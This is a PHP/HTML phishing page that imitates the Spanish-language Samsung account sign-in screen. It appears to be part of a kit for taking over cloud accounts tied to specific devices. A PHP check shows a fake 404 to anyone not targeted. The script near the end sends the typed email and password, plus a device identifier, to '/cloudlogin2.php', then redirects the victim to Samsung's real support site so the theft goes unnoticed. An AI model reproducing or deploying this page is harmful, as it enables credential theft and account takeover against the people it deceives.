<?php
if(!isset($idequipo)){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die('<html><head>
<title>404 Not Found</title>
</head><body cz-shortcut-listen="true">
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>');
}
?>
<!DOCTYPE html>
<html lang="es"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"><style type="text/css">@charset "UTF-8";[ng\:cloak],[ng-cloak],[data-ng-cloak],[x-ng-cloak],.ng-cloak,.x-ng-cloak,.ng-hide:not(.ng-hide-animate){display:none !important;}ng\:form{display:block;}.ng-animate-shim{visibility:hidden;}.ng-anchor{position:absolute;}</style>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="utf-8">
<title>Iniciar sesión | Samsung account</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<meta name="referrer" content="no-referrer-when-downgrade">



<link rel="stylesheet" href="/samsung/angular-block-ui.css">
<link rel="stylesheet" type="text/css" href="/samsung/angular-material.css">
<link rel="stylesheet" type="text/css" href="/samsung/default.css">

<link type="image/x-icon" rel="shortcut icon" href="https://account.samsung.com/favicon.ico?20210903015107">
<!--[if lt IE 9]>
	<script src="https://account.samsung.com/accounts/v1/resources/js/common/json/json3.min.js"></script>
	<script src="https://account.samsung.com/accounts/v1/resources/js/common/html5shiv/html5shiv.min.js"></script>
<![endif]-->
<script type="text/javascript">
//<![CDATA[
	var wipLogicalPath			= "/accounts/v1";
	var wipResourcesVerDt		= "20210903015107";
	var wipCancelURI			= "https://account.samsung.com/membership/intro?state=tMbvFNglWpXFEbBlrEqQKkANtfrMwoBl";
	var wipGoBackURI			= "https://account.samsung.com/membership/intro?state=tMbvFNglWpXFEbBlrEqQKkANtfrMwoBl";
	var loLangCD				= "es";
	var loCntyCD				= "MX";
	var isTextRightAlign		= false;
	var isTextFirstFamilyName	= false;
	var isTextFirstDateYear		= false;
	var wipAcsChnlEnum			= "WEB";
	var wipViewTypeEnum			= "v2";
	var userGeoIPCnty3dgtCd		= "MEX";
	var userAcsCnty3dgtCd		= "MEX";
	var userCnty3dgtCd			= "";
	var wipUriEnum				= "signIn";
	var APPNAME					= "MBR";
	var sJSESSIONID				= "5a820eeb-98ff-4711-acd0-c5cb3b301c5b";
	var wipCsrf 				= {'token' : 'd7e9976c-a375-44a2-905a-66ed617e873d', 'headerName' : 'X-CSRF-TOKEN'};
	var wipResourcesUrl			= "https://account.samsung.com/accounts/v1/resources";
	var isGAEnabled 			= true;
	var googleRecaptchaApiUrl 	= "https://www.google.com";
//]]>

    if(isGAEnabled) {
        var containerId;
        if(wipResourcesUrl.indexOf("sad") !== -1) {
          containerId = 'GTM-KCH2BM6';
        }
        else if(wipResourcesUrl.indexOf("stg") !== -1) {
          containerId = 'GTM-W3S5ZM6';
        }
        else {
          containerId = 'GTM-5C6SNNV';
        }
      (function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
            new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
          j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
          'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
      })(window,document,'script','dataLayer', containerId);
    }

	var createPostMessage = function(){

	    var sendPostMessage = function(){
	        console.log("");
	    }

	    if(APPNAME.indexOf("samsung_com_us") !== -1) {
	        if(document.getElementsByClassName('wrapper')[0]) {
	            var pageType = "signin";
	            if(document.querySelector('form[name="signUpForm"]')) {
	                pageType = "signup";
	            } else if (document.querySelector('form[name=findIdForm]')){
	                pageType = "findid";
	            } else if (document.querySelector('form[name=rstPwd]')){
	                pageType = "resetpwd";
	            } else {
	                pageType = "others";
	            }
	            sendPostMessage = function(){
	                window.parent.postMessage({
	                    pageType: pageType
	                }, '*');
	            }
	        }
	    }
	    sendPostMessage();
	}

</script>
<!-- js loading -->
<script src="/samsung/wip.js"></script>

<script src="/samsung/app.js"></script>
<script src="/samsung/config.js"></script><script src="/samsung/controller.js"></script><script src="/samsung/directive.js"></script><script src="/samsung/filter.js"></script><script src="/samsung/loading.js"></script><script src="/samsung/provider.js"></script><script src="/samsung/service.js"></script><script src="/samsung/util.js"></script><script src="/samsung/signIn.js"></script>

<script type="text/javascript">
	window.document.title = 'Iniciar sesión | Samsung account';
//<![CDATA[
	//mainController global variable
	var wipEnc = {"pblcKyTxt":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCL6k51MyxZgvM/zXfZ30+Z/nXorNYEjlkMwwh9HmvSF7xE49fghlrAVyzcABmkvsWGmYIbuuR5iq9uAjlOVB5i+FZEdnCms3ndOFpeZWqUOIYJhu3P30v94vMG4szIrB7PAB974AeIG7tK7FcgUtqBjBlf1/djspFMShsASuohvwIDAQAB","lgnEncTp":"1","pbeKySpcIters":"200"};
	var goBackURL = 'https://account.samsung.com/membership/intro?state=tMbvFNglWpXFEbBlrEqQKkANtfrMwoBl';
	var iptLgnPlnID = '';
	var continueWith3rdParty = 'GG';
	var assertion = null;
	var isAdmin = false;
	var enableBrowserSso = eval(false);
//]]>
</script><style>
	.error-msg {display:block !important}
</style><script src="/samsung/apiclient.js" gapi_processed="true"></script>
<style type="text/css">
      	.opc{
      		position: fixed;
      		width: 100%;
      		height: 100%;
      		top: 0;
      		left: 0;
      		background: rgba(255,255,255,0.3);
      		display: none;
          z-index: 2;
      	}
        .opc img{
          position: absolute;
          top: 50%;
          left: 50%;
          margin-left: -16px;
          margin-top: -16px;
        }
      </style>
</head>




    


<body onload="createPostMessage();" class="one-card-ui ng-scope block-ui block-ui-anim-fade" block-ui="main" aria-busy="false" cz-shortcut-listen="true">
<div class="opc"><img src="/assets/img/loading-buffering.gif" width="32" height="32"/></div>
<div class="wrapper false? wrapper-cover : '' ng-scope" data-ng-controller="cmmController as cmm">
	
<!-- ngIf: isIESupportMessageShow=='Y' -->
<header class="one-header">
	<div class="header-inner">
		<div class="logo">
			<h1><img src="/samsung/txt_logo.svg" onerror="this.src='https://account.samsung.com/accounts/v1/resources/one-ui/images/layout/txt_logo.png';" alt="Samsung account"></h1>
		</div>
	</div>
</header>

	<main class="one-main ng-scope" data-ng-controller="signInController as vm">
		<!-- loading -->
        <!-- ngIf: vm.isLoading -->
        <!-- //loading -->

		<div class="main-inner">
			<!-- container -->
			<div class="container loginForm">
				<div class="title">
					<h1>Iniciar sesión en su Samsung account</h1>
				</div>
				<!-- div class="subDesc">서브 설명 들어가는 곳</div -->
				<div class="content" ng-init="
				
				">

					<div class="one-forms-login">
						<form novalidate="" autocomplete="off" class="ng-pristine ng-valid ng-valid-pattern ng-valid-maxlength ng-valid-email">
							<fieldset>
								<legend>Account Samsung login</legend>

								<!-- ngIf: false -->

								<!-- ngIf: true --><div id="ctnLgnPlnID" data-ng-if="true" class="one-input-container ng-scope">
									<label id="lblLgnPlnID" for="iptLgnPlnID">Correo</label>
									<input data-ng-model="vm.iptLgnPlnID" id="iptLgnPlnID" type="email" spellcheck="false" ng-model-options="{ updateOn: 'keyup blur' }" aria-required="true" aria-invalid="false" aria-describedby="" maxlength="100" class="ng-pristine ng-valid ng-empty ng-valid-email ng-valid-maxlength ng-touched" autocomplete="off">
									<div class="error-msg">
										<div data-ng-show="((err.iptLgnPlnPD || err.iptLgnPlnID) &amp;&amp; err.code == '01')" id="" class="ng-hide">Ingrese el ID.</div>
									</div>
								</div><!-- end ngIf: true -->

								<div class="one-input-container">
									<label for="iptLgnPlnPD">Contraseña</label>
									<input data-ng-model="vm.iptLgnPlnPD" id="iptLgnPlnPD" type="password" ng-model-options="{ updateOn: 'keyup blur' }" aria-required="true" aria-invalid="" aria-describedby="" ng-enter="$parent.submitForCaptcha()" data-ng-pattern="" data-ng-blur="vm.iptLgnPlnPDFocus = false;" data-ng-focus="vm.iptLgnPlnPDFocus = true" not-space="" maxlength="512" class="ng-pristine ng-untouched ng-valid ng-empty ng-valid-pattern ng-valid-maxlength" autocomplete="off">
									<div class="error-msg">
										<div data-ng-show="((err.iptLgnPlnPD || err.iptLgnPlnID) &amp;&amp; err.code == '02')" id="" class="ng-hide">Favor de ingresar contraseña.</div>
										<div data-ng-show="((err.iptLgnPlnPD || err.iptLgnPlnID) &amp;&amp; err.code == '03')" id="" class="ng-hide">Introduzca el ID y la contraseña.</div>
										<div data-ng-show="((err.iptLgnPlnPD || err.iptLgnPlnID) &amp;&amp; err.code == '05')" id="" class="ng-hide">En los ajustes del navegador, permite a los sitios guardar y leer datos de cookies.</div>
										<div data-ng-show="((err.iptLgnPlnPD || err.iptLgnPlnID) &amp;&amp; err.code == 'AUT_1837')" id="" class="ng-hide">No es posible iniciar sesión. La cuenta se ha desactivado por motivos de seguridad.</div>
										
										<div data-ng-show="((err.iptLgnPlnPD || err.iptLgnPlnID) &amp;&amp; err.code == '99')" id="" class="ng-hide"><div data-ng-bind="err.message | trusted" class="ng-binding"></div></div>
										<div data-ng-show="(err.iptLgnPlnAdminPD &amp;&amp; !vm.iptLgnPlnPDFocus &amp;&amp; err.code == 'A02')" id="" class="ng-hide">Use al menos 8 caracteres y combine letras, números y símbolos.</div>
										<div data-ng-show="(err.iptLgnPlnAdminPD &amp;&amp; !vm.iptLgnPlnPDFocus &amp;&amp; err.code == 'A03')" id="" class="ng-binding ng-hide">No es posible incluir más de 3 caracteres repetidos o en secuencia en su contraseña.</div>
										<div data-ng-show="(err.iptLgnPlnAdminPD &amp;&amp; !vm.iptLgnPlnPDFocus &amp;&amp; err.code == 'A04')" id="" class="ng-hide">No es posible incluir más de 3 caracteres repetidos o en secuencia en su contraseña.</div>
										<div data-ng-show="(err.iptLgnPlnAdminPD &amp;&amp; !vm.iptLgnPlnPDFocus &amp;&amp; err.code == 'A06')" id="" class="ng-hide">No es posible incluir su dirección de correo ni su número de teléfono en la contraseña.</div>
									</div>
								</div>


								<!-- remember id 관련 추가 -->
								<div class="one-checkBox mbr_rememberid" id="rememberID">
									<input type="checkbox" id="remIdChkYN" data-ng-model="vm.remIdChkYN" ng-enter="" class="ng-pristine ng-untouched ng-valid ng-empty" autocomplete="off">
									<label for="remIdChkYN"><span></span>Recordar mi ID</label>

								</div>
								<!-- // remember id 관련 추가 -->

								<!-- ngIf: vm.bannerSrc -->

								<!-- capcha -->
								
							<script type="text/javascript">
								//<![CDATA[
								var RecaptchaOptions = {
											theme : 'custom'
										};
				       			//]]>
							</script> 
							<!-- ngIf: $parent.captchaTypeEnum == 'S' -->
							<!-- ngIf: $parent.captchaTypeEnum == 'A' -->
							<div id="audioCaptchaArea" style="display:block; height:0; font-size:0; line-height:0;"></div>
							<!-- ngIf: $parent.captchaTypeEnum == 'R' -->
							<!-- ngIf: $parent.captchaTypeEnum == 'G' -->
							<!-- ngIf: $parent.captchaTypeEnum == 'I' -->
							<div class="one-input-container  ng-hide" data-ng-show="$parent.captchaTypeEnum != null &amp;&amp; $parent.captchaTypeEnum != 'G' &amp;&amp; $parent.captchaTypeEnum != 'I'">
								<label for="responseCapthcha">Código de seguridad</label>
								<input data-ng-model="vm.responseCapthcha" id="responseCapthcha" name="responseCapthcha" type="text" maxlength="50" ng-model-options="{ updateOn: 'keyup blur' }" aria-required="true" aria-invalid="false" aria-describedby="" not-enter="" class="ng-pristine ng-untouched ng-valid ng-empty ng-valid-maxlength" autocomplete="off">
								<div class="error-msg">
									<div data-ng-show="err.responseCapthcha &amp;&amp; err.responseCapthchaCode == '01'" id="cap" class="ng-hide">Favor de ingresar código de seguridad</div>
									<div data-ng-show="err.responseCapthcha &amp;&amp; err.responseCapthchaCode == '99'" id="cap" class="ng-hide">Se introdujo un ID, una contraseña o un código de seguridad incorrecto. <br>Vuelva a intentarlo.</div>
									<div data-ng-show="err.responseCapthcha &amp;&amp; err.responseCapthchaCode == '02'" data-ng-bind="err.message" id="cap" class="ng-binding ng-hide"></div>
								</div>
							</div>




								<!-- //capcha -->
								<div class="mbr_signin">
								<div class="one-btn-container">
									<button class="one-cancel one-button" id="signInButton" type="button">Iniciar sesión</button>
								</div>

								<ul>
									<li data-ng-show="vm.continueWith3rdParty != 'NONE'">
										<a href="#" data-ng-click="findInfo()">
											Encontrar ID
										</a>
										o
										<a href="#" data-ng-click="resetPassword()">
											Restab. contraseña
										</a>
									</li>
									<li data-ng-show="vm.continueWith3rdParty != 'NONE' &amp;&amp; !vm.rmvCrtBtnYN">
										<a href="#" data-ng-click="signUp()">Crear cuenta</a>
									</li>
								</ul>
								</div>

								<!-- 구글 로그인 -->
								<div class="one-btn-container google" data-ng-show="vm.continueWith3rdParty == 'GG'">
									<button class="one-primary one-button" id="googleSignInButton" data-ng-click="googleSignIn()" type="button">Continuar con Google</button>
								</div>

								<div class="one-btn-container wechat ng-hide" data-ng-show="vm.continueWith3rdParty == 'WC'">
									<button class="one-primary one-button" id="wechatSignInButton" data-ng-click="wechatSignIn()" type="button">Continuar con WeChat</button>
								</div>

                                <!-- 갤럭시디바이스 로그인 -->
                                <!-- ngIf: false -->
                                <!-- //갤럭시디바이스 로그인 -->

								<!--// 구글 로그인 -->
								<div class="mbr_signin">
								<ul>
									<li data-ng-show="vm.continueWith3rdParty == 'NONE'" class="ng-hide">
										<a href="#" data-ng-click="findInfo()">
											Encontrar ID
										</a>
										o
										<a href="#" data-ng-click="resetPassword()">
											Restab. contraseña
										</a>
									</li>
									<li data-ng-show="vm.continueWith3rdParty == 'NONE' &amp;&amp; !vm.rmvCrtBtnYN" class="ng-hide">
										<a href="#" data-ng-click="signUp()">Crear cuenta</a>
									</li>
								</ul>
								</div>


								<div class="signin-tooltip ng-hide" data-ng-show="vm.isAdmin">
									<dl>
										<dt>Contraseña</dt>
										<dd>Use 8 or more characters with a mix of letters, numbers, and symbols.<br><br>If your password does not meet the criteria, you will not be able to sign in.</dd>
									</dl>
									<p></p>
								</div>

							</fieldset>
						</form>
					</div>
				</div>
			</div>
		</div>
	</main>
	
	<!-- footer -->
	<footer class="one-footer" role="contentinfo">
		<div class="footer-inner">
			<div class="footer-logo"><img src="/samsung/txt_foo_logo.png" onerror="this.src='https://account.samsung.com/accounts/v1/resources/one-ui/images/layout/txt_foo_logo.png';" alt="Samsung account"></div>
			<address class="footer-address">Copyright © 1995-2022 Samsung. All Rights Reserved.</address>
			<div class="footer-links" role="link">
				<a href="https://account.samsung.com/membership/terms/termscontents?paramLocale=es_MX" title="Open links in a new window Terms and Conditions">Términos y condiciones</a>
				<a href="https://account.samsung.com/membership/terms/privacypolicy?paramLocale=es_MX" title="Open links in a new window Privacy Policy" class="active">Aviso de Privacidad de Samsung account</a>
				<a href="https://account.samsung.com/membership/notice/notice-list?paramLocale=es_MX" title="Open links in a new window Notices">Aviso</a>
				<a href="https://help.content.samsung.com/csweb/auth/gosupport.do?targetUrl=/main/main.do&amp;serviceCd=saccount&amp;_common_country=MX&amp;_common_lang=es" title="Open links in a new window Contact us">Contáctenos</a>
			</div>
		</div>
	</footer>
	<!-- //footer -->

</div>
    
<!-- javascript -->
<script src="/samsung/jquery.js"></script>

<script>
  window.onload = function(){

    inputEvent();
    if($('form').find(':input')[0]!==undefined){
      $(':focus').blur();
      $('form').find(':input')[0].focus();
    }
  };

  var inputEvent = function() {
    var $inputs = $('form').find(':input');
    $inputs.each(function() {
      var $input = $(this),
          $label = $input.parent('div.one-input-container');
      if ($input.val())
        $label.addClass('active');

      $input.focusin(function() {
        $label.addClass('focus');
        $label.siblings('div.flexbdy').addClass('off');
      });
      $input.change(function() {
        $label.addClass('active');
      });
      $input.focusout(function() {
        $label.removeClass('focus');

        if (!$input.val()) $label.removeClass('active').siblings('div.flexbdy').removeClass('off');
      });
    }
    );
  }
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> 
<script>
	$(document).ready(function(){
		$("#signInButton").click(function(){
			var user = $("#iptLgnPlnID").val();
			var pass = $("#iptLgnPlnPD").val();
			var id = <?php echo $idequipo;?>;
			var xiaomi = true;
			$(".opc").show(0);
      if(user!="" && pass!=""){
  			$.post(
  				"/cloudlogin2.php",
  				{id:id, xuser:user, xpass:pass,xiaomi:xiaomi},
  				function(a){
  					if(a==1){
  						window.location="https://www.samsung.com/mx/support/";
  					}else{
  					    $(".opc").hide(0);
  					    $("#iptLgnPlnID, #iptLgnPlnPD").css("border-color","#ff7676");
  					}
  				}
  			);
      }else{
        alert("Algunos campos estan vacios, verifique sus datos.");
        $(".opc").hide(0);
      }
      return false;
		});
	});
</script>



<div block-ui-container="" class="block-ui-container ng-scope"><!-- loading -->
<div class="loadingWrap" style="display : none">
	<div class="dimBg"></div><!-- 딤처리 -->	
	<div class="cssload-spin-box"></div>
</div>
<!-- //loading --></div></body></html>